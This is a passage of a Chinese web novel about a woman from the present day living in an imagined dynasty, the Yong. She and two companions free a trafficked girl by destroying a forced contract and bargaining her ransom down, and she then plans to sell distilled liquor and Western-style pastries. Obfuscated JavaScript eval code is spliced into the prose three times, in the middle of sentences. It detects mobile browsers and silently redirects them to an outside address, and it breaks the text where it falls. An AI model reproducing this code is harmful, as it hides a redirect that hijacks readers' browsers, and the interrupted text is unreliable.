孙举人此刻已是心潮起伏,他发现自己多年来笃信的等级观念,被眼前这人用一连串朴实又紧扣实际生活的例子,冲击得有些松动。 孙举人听得入神,只觉眼前仿佛被推开了一扇新的窗户,看到的景色与以往大不相同。 他的语气已带上了真正的请教之意:“听君一席话,胜读十年书……小友这些鞭辟入里的见解,究竟从何而来?孙某自问也读过不少杂书,却未曾闻此等通透之论。” 李令双闻言,脸上一滞,“呃”了一下后,半真半假地道:“哪里是什么师承。不过是早年机缘巧合,遇着一位自极西之地‘欧罗巴’渡海而来的色目客商,听他讲过些他们那边的风物见闻,又杂糅了自己平日胡思乱想罢了。” “那位客商曾说,在他们那里,精于算术、格物、造船、制器之人,颇受重视,其国主甚至设立专门学院鼓励钻研,其商船亦能远航万里,互通有无。” “我听了,便觉得有些道理,与我们这边的情形参照着瞎想了一番。” “欧罗巴……”孙举人喃喃重复,眼中竟泛起一丝向往,“读万卷书,行万里路。若有生之年,能去那等海外异邦游历一番,见识迥异之风物文明,该是何等幸事!” 李令双闻言,差点被自己的口水呛到。她刚来这朝代时,可是特意买了书来了解这个大雍朝的时间线。 这时期,若按她前世的历史参照,欧洲那边恐怕正处在中世纪尾巴和文艺复兴开端的混乱交界期,远航路上海盗横行,各国间战乱频仍,打得跟一锅热粥似的。 这位孙大才子一个文弱书生跑过去,那不是给海盗送菜,就是给乱兵当炮灰! 她心里疯狂吐槽,面上却只能挤出两声干笑,含糊劝道:“呃……这个嘛,海外风高浪急,路途又险又远,着实不是易事。孙兄若有意,还是……从长计议,从长计议为好。” 小茹在一旁听得云里雾里,但见姑娘侃侃而谈,连举人老爷都频频点头,最后甚至生出“万里远游”的豪情,心中对姑娘顿起敬佩之情。 青衣男子将李令双那一闪而逝的古怪神情尽收眼底,再看她一本正经劝孙举人“从长计议”的模样,眼底不由掠过一丝极淡的笑意。他举杯,以茶代酒,向李令双的方向微微致意,一切尽在不言中。 8. 扯坏契书 “说来惭愧,孙某此次仓促赶来丰安县,原是为了一桩私事,没曾想竟能在此遇到奇人……呃,在下绥州蔚县孙应丘,不知二位尊姓大名?可否告知孙某?” 李令双正捏着一块桌上的桂花糕小口吃着,闻言摆了摆手,含糊道:“当不得什么‘奇人’,我姓李,名武。孙举人此来丰安县又是为何私事啊?” 她随口报了一个名字,因这名字听起来颇为男性化,正合眼下女扮男装的处境。至于这身体的真名“李令双”,此刻自然不便提起。 青衣男子微微颔首,声音清朗如玉石相击:“在下姓燕,单名一个‘扶’字。”语速不疾不徐,姿态从容,然而那微微上扬的尾音和眼底跃动的神采,却透出一股少年人特有的、未被世事磋磨的飞扬意气。 孙应丘看得微微一怔,心中暗赞:好一个神采照人的少年郎! 他忙敛神回礼,道:“原是李公子,燕公子。失敬失敬。” 他顿了顿,脸上浮现忧色,说起正事:“实不相瞒,孙某此次仓促赶来丰安县,是为了一位姓林的姑娘。” “她父母新丧,孤苦无依,不知怎地被歹人盯上,竟拐了卖到此地一位妈妈手下。” “我一介书生,手无缚鸡之力,眼看她被人带走,心急如焚却无计可施,只好一路尾随至此,正苦于不知如何救人……方才见二位似乎也是跟着那位妈妈进来的,莫非……也是为了此事?” 李令双闻言,脸上闪过一丝尴尬,摸了摸鼻子,瞥了一眼身旁饶有兴致看着她的燕扶,才老实道:“这个嘛……是这个老鸨她诓骗我,并未告诉我实情,好说有个不依不饶想要闹事的举子。” “我一时好奇,便跟着想来瞧瞧。没曾想,她竟是从人贩子手里买卖无辜女子,倒是被她摆了一道。” 燕扶道:“孙兄高义,为救邻人甘冒风险尾随至此,令人佩服。此事既然叫我们遇上了,便没有袖手旁观的道理。” 李令双立刻点头附和:“没错!这种伤天害理的事,撞见了就不能不管!” 她身边的丫鬟小茹也握紧了小拳头,气鼓鼓地小声说:“公子说得对!那妈妈太可恶了!” 燕扶见状,不再多言,径直走到门边,拉开门,唤住走廊里一名路过的侍从,低声吩咐了几句。 过了片刻,一阵脚步声由远及近。门被推开,胖乎乎的老鸨赔着笑先走了进来,身后跟着个瘦小的姑娘。 那姑娘约莫十四五岁年纪,穿着一身半旧的藕荷色布裙,身量尚未长足,显得空落落的。 她垂着头,露出一段白皙细弱的脖颈,头发简单地绾着,只用一根木簪固定。待她怯怯抬起脸来,众人皆是一静——那是一张极清丽标致的小脸。 只是此刻面色苍白,眼下带着青影,睫毛上犹沾着未干的泪珠,宛如一枚被风雨摧折过的玉兰花苞,楚楚可怜得让人心生不忍。 李令双瞧着小姑娘的岁数,心里那点火气“噌”地又窜高了一截。 她没立刻理会老鸨,放缓了声音问那姑娘:“姑娘,你别怕,告诉我们,你是怎么到这儿来的?实话实说,我们给你做主。” 林姑娘闻言,抬起泪眼看了看李令双,像是抓住了救命稻草,声音细弱却清晰:“小女是蔚县人士,父母去年染病双亡,只留我一人。” “上月我在家中,被几个陌生汉子强掳了去,辗转卖给了这位妈妈手下的人,昨日才被带到丰安县来。我说的句句是实情,求贵人做主!”说着,就要跪下。 李令双眼疾手快扶住她,转头看向老鸨时,脸色便沉了下来:“从拐子手里买人?你可知这是多大的罪过!” 老鸨被李令双陡然拔高的气势唬了一跳,腿一软,差点真跪下去。 可膝盖弯到一半,她眼珠子骨碌一转,又硬生生挺直了——眼前人可瞧着年岁不大,又非官非吏,自己怕他作甚? 她偷眼去瞟那位一直沉默的青衣公子,却见他面上虽没什么表情,但那双清冽的眼睛正冷冷地看着自己,显然也是动了怒。老鸨心里一哆嗦,到嘴边的撒泼话又咽了回去。 她干笑两声,搓着手道:“哎哟,这位公子可冤枉死老婆子了!我、我哪知道手下人是从哪儿弄来的人?” “兴许……兴许是这丫头自己愿意,胡乱攀咬呢!空口白牙的,总不能她说啥就是啥吧?” 她越说越觉得自己有理,腰杆又挺直了些,从怀里掏出一张叠得方正正的纸来,抖开递到李令双面前,“您瞧!契书在此,白纸黑字写得明明白白,这丫头也是亲自画了押的!这总做不得假吧?” 那是一张略显粗糙的棉纸,上面写着几行字,末尾按着一个鲜红的手印。 李令双接过契书,眉头蹙得更紧,问向那姑娘:“这画押……又是怎么回事?” 林姑娘眼泪扑簌簌掉下来,声音哽咽:“他们……他们逼我的。说不画押,就要我的命。” 情况一下僵住了。没有契书,林姑娘是苦主,道理全在己方。 可这契书在手,白纸黑字加红手印,到了公堂之上,官府多半会认这“凭证”。 老鸨显然也明白这一点,见李令双面有难色,胆气又壮了几分,三角眼里闪过一丝得意:“公子,您也瞧见了。这世道,什么事都得讲个规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224402|197559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矩、凭个契据不是?” “空口无凭的,说到天边去,老婆子我也是照契办事,就算告到县太爷那儿,我也是占理的一方!” 一直静观其变的燕扶,听到此处,忽而开口,“这位孙举人,学富五车,于律例文书想必甚是精通。” “孙兄,不妨细观此契,看看其中……可有何不妥之处?” 李令双立刻会意,将手中的契书往孙举人面前一递,嘴里附和道:“对对对,孙举人您是读书人,学问大,快帮忙瞧瞧,这契书写得是否周全?”她一边说,一边朝着孙举人飞快地眨了眨眼,递去一个心照不宣的眼神。 孙举人清了清嗓子,双手接过契书:“既如此,孙某便……恭敬不如从命,仔细观摩一番。” 他装模作样看着契书,口中还念念有词:“立契人……林林釉卿林氏……自愿卖身……银钱二十两……”看着看着,他另一只手似乎无意识地伸向桌上的茶壶,“……哎呀!” 只听“哐当”一声轻响,茶壶被他“不小心”碰倒,半壶温茶不偏不倚,全泼在了那展开的契书上! “啊呀!糟了糟了!”孙举人惊呼一声,手忙脚乱地抓起自己袖子就往那湿透的契书上按去,用力擦拭,“在下失手!实在对不住,对不住!” 褐色的茶渍迅速在棉纸上洇开,墨迹遇水,立刻模糊成了一团团混沌的污痕。 “我的契书!”老鸨尖叫一声,肥胖的身躯爆发出惊人的敏捷,猛地扑过来就要抢夺。 “慢着!”李令双反应更快,一个箭步上前,伸手也抓住了契书另一边,正好与孙举人一左一右扯住了湿淋淋的纸张。她一脸“焦急”,冲着孙举人“埋怨”道:“孙举人!湿了的纸哪能这么擦?得平铺开晾干才行!你快松手!” “是是是,兄台说得对,是孙某心急了!”孙举人连连点头,手上却“慌乱”地又用力擦了两下。 两人一个说要“晾干”,一个忙着“擦拭”,手下却都不松劲,嘴里还在互相“指责”。 只听得“刺啦”一声轻响——那本就泡软了的棉纸,竟被两人从中间生生扯成了两半! 孙举人手里攥着大半张,还在徒劳地用袖子抹着上面糊成一团的墨迹。 李令双则捏着剩下的一小半,僵在原地,看着手里残破的纸片,脸上适时地露出混合着惊愕、懊恼和无措的复杂表情,嘴里喃喃道:“这……这怎么就……扯坏了呢?” 老鸨保持着扑抢的姿势,瞪着地上几滴茶渍和两人手中已然不成模样的“契书”,张大了嘴巴,眼珠子都快瞪出来了,一口气堵在胸口,半天没喘上来。 9. 砍价 燕扶一直留意着那鸨母的脸色,见她眼神闪烁,似有不甘,心知一味硬碰并非上策。 他上前半步,语气放缓,开口道:“今日之事,终归是我这两位朋友行事过于唐突,冲撞了妈妈。二十两纹银,妈妈且记下。改日,你自去城西的‘兵马司指挥所’要账,某绝不会赖账。” 鸨母听着燕扶所言,脸色稍霁。 但她在风月场里打滚了半辈子,眼睛毒得很,哪会看不出方才那场“意外”是做了局匡她。让她空手等着去什么指挥所要钱?她一个字也不信! 她眼珠一转,脸上又堆起那种精明的假笑,身子却不肯让开:“哎哟,燕把总,您这话说得敞亮!妈妈我自然信您。只是……这空口无凭的,回头若是贵人多忘事,或是衙门森严妈妈我进不去,岂不是……嘿嘿,还是白纸黑字立个收据字据为好,您说是不是?也免得伤了和气。” 燕扶闻言,面上掠过一丝几不可察的不自然。 他家教甚严,父亲最恨子弟仗着家世挥霍无度、沾染纨绔习气,故而除了月俸,并无太多余财。 他平日里又不屑于那些捞油水的勾当,此刻身上翻遍了,也只剩下三两散碎银子。 但他毕竟是将门之后,自有气度。但面对这等并非良善之辈,也无需一味讲什么君子道理。 他神色一正,那股属于军中武职的淡淡威压便自然流露出来:“妈妈既要字据,也无不可。只是这二十两之数,恐有待商榷。林姑娘初来乍到,未经调教,更未挂牌见客,何来如此高价?依我看,十两足矣。” 鸨母一听要砍价,立刻叫起撞天屈:“燕把总!您这话可冤枉死妈妈了!这丫头我可是真金白银从人牙子手里买来的,吃喝穿戴哪样不要钱?就算给二十两?本钱都都不够啊!” 李令双一直在旁观察,闻言立刻接过话头,语调清脆,条理却分明:“妈妈,这话咱们就得论论了。” “你刚才也说了,是‘从人牙子手里买来的’。敢问是哪家正经牙行,敢做这强掳民女、转卖为娼的勾当?这林姑娘的‘来路’,经不起推敲,更见不得光吧?” 她顿了顿,见鸨母脸色微变,继续道:“这等来路不正的‘货’,本就值不了高价,更担着风险。” “如今我们愿意出钱赎人,是念在妈妈你也是‘经手’而非‘首恶’,想将此事干干净净了结,大家都不麻烦。” “若真要掰扯起来……”她意有所指地看了一眼燕扶,“燕把总正好管着这南城的治安缉捕,您说,是顺着这根‘来路不正’的藤摸下去查个水落石出费事,还是我们今日痛快付钱省心?” 她边说边悄悄给小茹递了个眼色。 小丫头机灵,立刻在一旁小声帮腔,语气里满是后怕:“姑娘说的是……这要是追查起来,那贩卖人口可是重罪,牵连起来可不得了……” 鸨母被这一番连敲带打、软硬兼施的话说得脸色发白,额角冒汗。 她最怕的就是这个,买卖人口本就是灰色行当,真要被官方盯上追究来源,麻烦就大了。 她觑了觑燕扶沉静的脸色,又掂量着李令双话里的厉害,心里那点侥幸和贪婪顿时消散了大半。 燕扶趁势沉声道:“十两。我们出钱,买一个‘干净’,也给你一个‘省心’。妈妈若觉得可行,今日我先付三两定钱,立下字据,七日内必筹齐尾款带人走。若觉得不妥……”他话未说尽,只是目光平静却带着压力看向鸨母。 鸨母此刻哪里还敢纠缠“本钱”,慌忙挤出笑容:“成!成!燕把总和李公子都是明白人!是妈妈我想岔了……就依您,十两!这事儿能这么了结,最好不过!” 她忙不迭地应下,只求赶紧把这几个煞星送走,别真惹来官司。 李令双这才缓了语气,但仍坚持道:“既如此,林姑娘就先在你这儿暂住十日。这十日,你必须保证她安然无恙,不得逼迫,饮食起居需得照应。待我们筹够了剩余的七两,你须得立刻放人,不得再以任何理由阻拦!” “一定!一定!妈妈我晓得轻重!” 鸨母连声答应,立刻让人拿来纸笔。 燕扶写下字据,言明已付定银三两,十日内付清尾款七两赎出林氏女,此事两清,不得再提。 双方画押,鸨母小心翼翼地将那三两银子收好,揣起了字据,仿佛揣着个烫手山芋,又像是终于卸下了一桩麻烦。 事情暂告一段落,李令双却摆手道:“你们且先出去。这花魁大赛的热闹,我还没瞧够呢。孙兄,燕兄,相逢即是有缘,不如坐下喝两杯?” 林姑娘此时忽然上前,对着三人深深一福,声音虽轻却坚定:“三位恩公大德,小女子无以为报,愿留下为恩公们斟酒,略尽心意。” 她脸上泪痕未干,眼神却清亮了许多,带着一股劫后余生的感激与决然。 李令双见她神态,心中微动,便点头应了:“也好。” 鸨母无法,只得带着林姑娘先出去,让她稍作梳洗再来侍酒。 待房门关上,屋内只剩下三人及小茹。 李令双立刻原形毕露,用胳膊肘碰了碰孙举人,挤眉弄眼道:“可以啊孙兄!‘为救弱女子,书生仗剑走丰安县’——这要是写成话本,可是一段风流佳话!这桃花运,惹得我和燕兄都得为你掏银子!” 孙举人刚端起茶杯,闻言差点呛住,连连摆手,脸都有些红了:“李兄!慎言,慎言!孙某乃读圣贤书之人,岂会……岂会有那般龌龊心思!路见不平,仗义相助,本是分内之事!”他说得义正辞严,眼神却有些飘忽。 李令双“啧”了一声,一副“我懂我都懂”的表情,揶揄道:“是是是,孙兄高风亮节,纯粹是侠义心肠。不过嘛……”她拖长了声音,“林姑娘天姿国色,我见犹怜,孙兄你若说全然无心,那才是见了鬼呢。嘿嘿,将来若是好事成了,这拜堂、洞房的花费,你这新郎官总得多出点力吧?眼下这赎身的银子,你是不是也该表示表示?” 一旁的小茹听着自家姑娘越说越不像话,忍不住悄悄拉了拉她的衣角,低声道:“公子……” 孙举人被她说得面红耳赤,连连告饶:“李兄!什么拜堂洞房,休要胡言,有辱斯文!你看我这一身衣衫,像是囊中丰厚之人吗?我此次来到丰安县,盘缠本就不多,一路靠着替人写写状子、卖几幅字画,才勉强糊口走到此地,连回程的钱都尚无着落,哪里还有余财?” 李令双眨了眨眼,故意叹道:“唉,你至少还会写状子卖字画。我啥也不会,连磨墨都磨不好,想赚点钱都没门路。” 孙举人奇道:“李兄你见识广博,胸有沟壑,竟不会磨墨?莫要诓我。” 李令双理直气壮:“这有何奇怪?懂得多,就一定会磨墨吗?哪里的道理!燕兄,你评评理!” 燕扶一直安静地听着两人斗嘴,眼底带着淡淡的笑意,见问到自己,才温声道:“无妨。赎金之事,李兄不必过于忧心。待我回去,自会设法筹够。” 李令双只当他是个讲义气的小小把总,或许要咬牙凑钱,心中过意不去,认真道:“燕兄高义,此事本与你无关,却累你破费。” 燕扶只是微微摇头,并未多言。 这时,门外传来同僚的催促声,说有公务需即刻处理。 燕扶抱拳道:“二位,燕某有事,先行一步。林姑娘之事,既已立据,暂可安心。十日后,燕某必至。” 说罢,又对李令双略一点头,便随来人匆匆离去,青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224403|197559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衫背影转眼消失在门外走廊。 不多时,房门再次被推开。重新梳洗过的林姑娘走了进来。 她换了一身干净的浅藕色衣裙,虽仍是朴素,但头发整齐地绾起,露出一段白皙优美的颈项,脸上洗净泪痕,略施薄粉,更显得眉眼如画,楚楚动人。 她安静地走到桌边,执起酒壶,为李令双和孙举人斟酒,动作轻柔,姿态婉约。 孙举人看得有些出神,直到李令双在桌下轻轻踢了踢他的脚,才猛地回过神,掩饰般地端起酒杯。 李令双看向林姑娘,正色道:“林姑娘,这十日你且安心。我们必尽力筹钱赎你出来。只是……”她顿了顿,“凡事需做两手准备。若是十日后,我们未能筹足银两,你可有想过如何应对?” 林釉卿执壶的手微微一颤,抬眸看向李令双,眼眶又有些泛红,却努力维持着镇定,声音清晰:“恩公,小女子虽未读过多少书,但先父在世时,常教导小女子做人要知恩图报,也要……也要懂得自持。” “若能得脱苦海,小女子愿为奴为婢,侍奉恩公,报答再造之恩。若是……”她咬了下唇,声音更低,却带着决绝,“若是天命如此,无缘得救,小女子也绝不愿再沦落风尘,辱没先人。今生恩情,只能来世结草衔环了。” 孙应丘听得心中大恸,脱口而出:“林姑娘切莫如此悲观!孙某虽不才,但尚有一手丹青可卖!十日之内,我定当竭尽全力,多画多卖,必为你筹足赎银!”他这话说得斩钉截铁,倒有几分书生的执拗气概。 李令双心中暗笑,总算激得这位也肯出力了,目的达成,面上却故作轻松,摆了摆手:“林姑娘放心,天无绝人之路。赚钱赎人是一法,就算真凑不齐,咱们再想别的法子。总之,活人总不能叫尿憋死。” 孙应丘刚因林姑娘的话升起满腔豪情,听了李令双这粗俗的比喻,不由道:“李兄!你……你好好说话!有办法、没办法直说便是,何必举此不雅之例,实在有辱斯文!” 李令双哼了一声,浑不在意:“我本就是个俗人,说不来你们文绉绉的话。” 此时,窗外河面上传来阵阵丝竹与欢呼声,一年一度的花魁大赛正到热闹处。 画舫流光,美人竞艳,喧声透过窗户传进来,衬得屋内这小小一方天地,倒有种奇异的宁静与温馨。 林釉卿静静斟酒,孙应丘渐渐放松,与李令双一边赏着窗外依稀可见的热闹,一边天南地北地闲聊起来。 从丰安县风物聊到京城见闻,从诗词歌赋歪到奇闻异事,李令双见识广博,言辞幽默,孙举人也非迂腐之辈,时有妙语,两人竟越聊越投机。几杯淡酒下肚,气氛愈发融洽。 孙应丘本就对林姑娘心存好感,此刻美人如玉,灯火朦胧,酒意微醺,更是心神荡漾。 他痴痴望着林姑娘的侧影,一时竟将旁边的椅子当成了心上人,握着酒杯,喃喃诉说起一路追赶的担忧与见到她平安的欣慰,语气诚挚,听得林釉卿脸颊绯红,垂眸不语,唇角却悄悄弯起一点极温柔的弧度。 李令双瞧着好笑,也不点破,自顾自吃着菜,偶尔与小茹说笑两句。 小茹见她一杯接一杯,忍不住又劝:“公子,这酒虽淡,喝多了也伤身,咱们是不是该回去了?” “不急不急,如此良辰美景,又有知己好友、红颜相伴,岂能辜负?”李令双摆手,兴致正高。她与孙应丘越聊越欢,在窗外喧嚣与屋内暖意的双重烘托下,两人竟一时兴起,差点要当场摆香炉,义结金兰。 光影摇曳,酒意氤氲。孙应丘醉眼朦胧间,仿佛看见林姑娘正对着自己,嫣然一笑,眼波流转,不胜娇羞。他心头一热,只觉得此番丰安县之行,虽然波折,却似乎……也不赖。 10. 巧思 次日清晨,天光透过窗纸朦朦胧胧地亮起来。 李令双睁开眼,觉得脑袋还有些昏沉沉的,喉咙干得发紧。她慢腾腾地爬起来,给自己倒了杯隔夜的冷茶,“咕咚咕咚”灌下去,才觉着清醒了些。 门“吱呀”一声被推开,小茹端着个托盘进来,上头摆着一碗热腾腾的粟米粥并两碟小菜。 见李令双方醒了,小丫头撇撇嘴:“姑娘可算醒了!昨日您醉得跟只红脸猫儿似的,最后还是我好不容易雇了辆驴车,才把您给驮回来的。” “我爹……没说什么吧?”李令双揉着额角,有点心虚。 “老爷倒是没起疑,只以为您在姑奶奶家玩得高兴,留得晚了些。” 小茹把粥碗往她面前推了推,语气忽然变得有些微妙,“不过姑娘,您醉是醉了,倒也没说什么不该说的胡话……就是,跟那位孙举人,打了个赌。” “打赌?”李令双舀粥的手一顿,心里升起不妙的预感。 “是呀,”小茹眨眨眼,“您说,若是孙举人将来能高中状元,您就输给他一百两纹银。还非要拉着我作保,让我也在契纸上按了手印呢。” “咳!咳咳……”李令双一口粥差点呛进气管,咳得脸都红了,“你、你怎么不拦着我点!” 小茹一脸无辜:“我拦了呀,可您当时眼睛亮得跟见了鱼的猫似的,直说‘小茹你放心,这状元哪是地里的大白菜,说有就有?稳赚不赔的买卖!’” 李令双抚额:“那……要是他输了呢?” 小茹回想了一下:“他说,若是他输了,就……就带着林姑娘,自费去红毛国(注:此处可指荷兰,明清时常以‘红毛番’指代荷兰人)游览一番。” 李令双听完,简直气笑了:“嘿!这算盘打的!合着赢了他拿钱,输了他带着美人自费旅游?好事全让他占完了,这厮真是鬼精鬼精的!” 笑骂归笑骂,正事还得盘算。赎出林姑娘那七两银子,得尽快挣出来。要赚钱,就得弄点这个时代没有的新鲜玩意儿。 比如酒。昨天喝的那所谓“好酒”,入口浑浊,酒精度低,还有股说不清的杂味,跟现代经过蒸馏提纯的清澈烈酒根本没法比。若是能做出更纯净、更烈的高度酒,不愁没人买。 再比如吃食。此地方圆百里,点心无非是糕、饼、酥几样,甜腻顶饱,花样不多。她前世见过、吃过那些国人改良的西式的精巧点心,什么蛋糕、蛋挞,奶香浓郁,口感蓬松绵密,样子也讨巧,在这里定是新鲜玩意儿。 她正琢磨着,小茹又在旁边提醒:“对了姑娘,您昨日还跟孙举人约好了,每日辰时一同去外头摆摊。算算时辰,孙举人差不多该来了。” 李令双点点头,三口两口把粥喝完。 稍作收拾,李令双依旧是一身利落的男装打扮,带着小茹出了门。一出门,就被一股寒气扑了个满怀。这小冰河时期的天气真是说变就变,昨天还不觉得,今天一下子冷了不少。 刚走到巷口,就看见孙应丘已经等在那儿了。 孙举人今天依旧是一身单薄的文生襕衫,在寒风里缩着脖子,抱着手臂,冻得直跺脚。 一看见李令双,他立刻几步迎上来,声音都带着颤:“李兄!你可算来了!真是冻煞我也,冻煞我也!” 李令双上下打量了他一番,见他嘴唇都有点发青,忍不住好笑:“至于吗孙大举人?你好歹也是个有功名在身的,连件御寒的棉袍都没了?你这从蔚县一路过来,难不成把文人风骨都吹没了?” 孙应丘白了她地一眼,牙齿打着战说:“你、你当我想啊?我从蔚县跑到这丰安县,为了雇马车,盘缠早就见底了!现在想卖点字画挣点钱,也就只能把冬衣给当了换宣纸。”说到最后,他自己也有点讪讪的。 李令双听得又是好气又是好笑,摇头叹道:“色字头上一把刀啊孙兄! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224404|197559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢了罢了,谁让我李某人最是心善呢。走,先带你买件棉袍去。要是把咱们大雍朝未来的状元郎给冻出个好歹,那才是真的损失。” 孙应丘一边跟着她往成衣铺方向走,一边还不忘贫嘴:“哟,李兄这会儿又觉得我能中状元了?昨晚喝酒的时候,你可不是这么说的,死活不信来着。” 李令双白他一眼,抬脚就往成衣铺子方向走:“废话少说!再磨蹭,状元变冰棍儿!赶紧的,买袍子去!” 三人去成衣铺买了件厚实的棉袍,孙应丘立刻套上,脸色终于缓了过来。他熟门熟路地引着路,说附近有个早市,人流不少,正好去摆摊。 到了地方,只见孙应丘寻了个背风的台阶,径直坐下,将一叠宣纸铺在地上,又捡了半块砖头压住纸角,然后就自顾自地提起笔,蘸墨写了起来。 李令双抱着手臂在一旁看了半晌,终于忍不住啧了一声:“孙兄,您这……是卖字画呢,这字写得是真好,龙飞凤舞,颇有风骨。不过嘛……依我看,您再往前头摆个碗,生意可能更好,起码路过的大娘瞧着可怜,还能给扔两个铜板。” 孙应丘头也不抬,笔走龙蛇,嘴里回道:“李兄你就别挤兑我了。我这不也是没办法吗?但凡有点余钱租张桌子条凳,我也不至于如此……有辱斯文啊。”最后四个字,他说得颇为沉痛。 李令双好笑地摇摇头,从钱袋里摸出些铜钱递给小茹:“去,给咱们这位落难的举人老爷租套像样的桌椅来。好歹是个有功名的人,这般蹲在路边,有失体统。” 小茹应声去了。李令双又看了看孙应丘那专注的侧影,想了想自己酿酒做点心的计划,便道:“孙兄你先在此处营生,我去市集上转转,采买些东西。” 说完,她转身汇入了早市熙攘的人流,心里盘算着面粉、鸡蛋、糖饴、还有用来试验蒸馏的器具该去哪儿买,那股子跃跃欲试的劲儿,倒把宿醉的头痛都冲淡了不少。 11. 成交 日头西沉,集市渐渐散了。 李令双早就把做酒提纯要用的简易蒸馏器具(找铁匠打了个铜壶和冷凝管,费了不少口舌)、做蛋糕需要的细白面粉、糖霜、几个鸡蛋,还有一小罐珍贵的牛乳(这个最难弄)都偷偷备齐了,藏在后院柴房一个旧木箱里。 她没敢立刻动手,怕惊动她爹和继母,要是看见她糟践“精贵”的白面和糖,还弄些奇奇怪怪的铜家伙,非得炸了锅不可。 她只能按捺住跃跃欲试的心思,等夜深人静,家里人都睡熟了再说。 估摸着时辰差不多了,她蹑手蹑脚爬起来,看了眼外间榻上睡得正香、还打着小呼噜的小茹,没忍心叫醒。 便自己悄悄摸到后院那间平日里堆放杂物的空屋,挽起袖子,就着昏暗的油灯,一个人忙活开了。 捣鼓了大半夜,眼看着面团在手下变得蓬松,闻着烤炉里飘出焦糖与牛乳混合的甜香,再将那浑浊的酒酿反复蒸馏,接出清亮如泉的酒液……她擦了把额角的汗,看着眼前摆开的几样成品,心里那股成就感“蹭”地冒了上来,累是累,可半点睡意都没了。 天边刚泛起鱼肚白,她给睡得迷迷糊糊的小茹留了张字条:“我去想法子挣那七两银子了。你睡醒后去集市上,帮孙呆子磨墨打打下手,你俩搭个伴。” 写完,把字条压在小茹的枕头边,自己推上那辆昨晚就改装好的简易小木车,上头整整齐齐码着用干净油纸包好的各色点心和几个小陶罐装的新酒,兴致勃勃地出了门。 光靠摆摊零卖,想挣够七两银子,那得卖到猴年马月去?她琢磨着,得找个酒楼合作,走分成模式,才是快路子。 可想象很美好,现实却泼了她好几盆冷水。 她推着小车,连着跑了城里三四家瞧着还算体面的酒楼。 第一家掌柜的倒是出来瞧了一眼,可听她说完“合作分成”,又见她是个面生的女子,脸上那点客气就淡了,只敷衍两句“小店自有货源”,便转身忙活去了。 第二家的伙计干脆拦着门没让她进,只远远瞥了眼她的小车,嗤笑一声:“哪儿来的小贩,也配跟我们谈生意?” 第三家倒是让她进去了,可管事的一听她要分七成,头摇得像拨浪鼓,连尝都不肯尝,直说“不成体统,没有先例”。 一趟跑下来,日头都升高了,她连人家的门槛都没迈进去过,嗓子说得发干,心里那股热乎劲儿也凉了大半。 推着越来越沉的小车走在街上,看着熙熙攘攘的人群,李令双第一次觉得,想在这陌生地界凭本事挣点钱,还真没那么容易。 正有些灰心,走到城西一处相对僻静的街口,却见前面一家名叫“醉仙楼”的酒楼门口,围了不少人,里头还传来吵吵嚷嚷的声音,听着不像吃饭,倒像在闹事。 她心里一动,推着车凑近了些,拉住一个从人堆里挤出来、摇头叹气的老伯打听:“老伯,里头这是咋了?这么热闹?” 老伯回头瞅了她一眼,又看看她的小车,叹道:“唉,还不是为了那道‘翡翠芙蓉鸡’!这醉仙的范掌柜,手艺超高,自创了一道菜做得是天上有地下无,多少人慕名而来。可偏偏前几天范掌柜病倒了,起不来床,楼里其他厨子谁也没学到真髓,做出来的味儿差远了!这不,好些老客来了点这道菜,吃了一口就闹将起来,说货不对板,欺客呢!掌柜的儿子在里面,都快急哭了。” 李令双听完,眼睛却亮了。 她费力地推着小车,挤过看热闹的人群,朝着醉仙楼门口一位正焦头烂额、不住作揖赔笑的年轻人走去,看样子他就是范掌柜的儿子。 “这位少东家,”李令双清了清嗓子,尽量让自己的声音显得沉稳些,“眼下这般情形,光是赔礼道歉,恐怕难平客怨吧?” 那范少东家正一脑门子官司,见又来个凑热闹的,还是个推着小车的,眉头就皱了起来,语气也不太好:“这位……姑娘,有何见教?若是想要用饭,今日不便,若是看热闹,还是走远一些。” 李令双也不恼,指了指自己车上的东西,直截了当:“见教不敢当。我只是想,贵店眼下缺一道能压得住场子、让客人转移注意力的好东西。恰巧,我这儿有些新鲜吃食和酒水,或许能解燃眉之急。少东家不如看看,尝尝?” 范少东家将信将疑,眼下也确实没更好的法子,死马当活马医吧。 他狐疑地掀开油纸一角,只见里头几样点心形状精巧,颜色诱人,是他从未见过的样式。 又拔开一个小陶罐的塞子,一股清冽醇厚的酒香立刻飘了出来,与他店里卖的那种浑浊米酒截然不同。 他犹豫了一下,捏起一块小巧的、金黄油亮的点心送入口中。 酥皮在齿间碎裂,内里滑嫩香甜的馅料瞬间盈满口腔……他眼睛瞪大了。 又小心翼翼地抿了一口陶罐里的酒,那清透的口感、绵长而后劲十足的滋味,让他这个从小在酒坛边长大的人都愣住了。 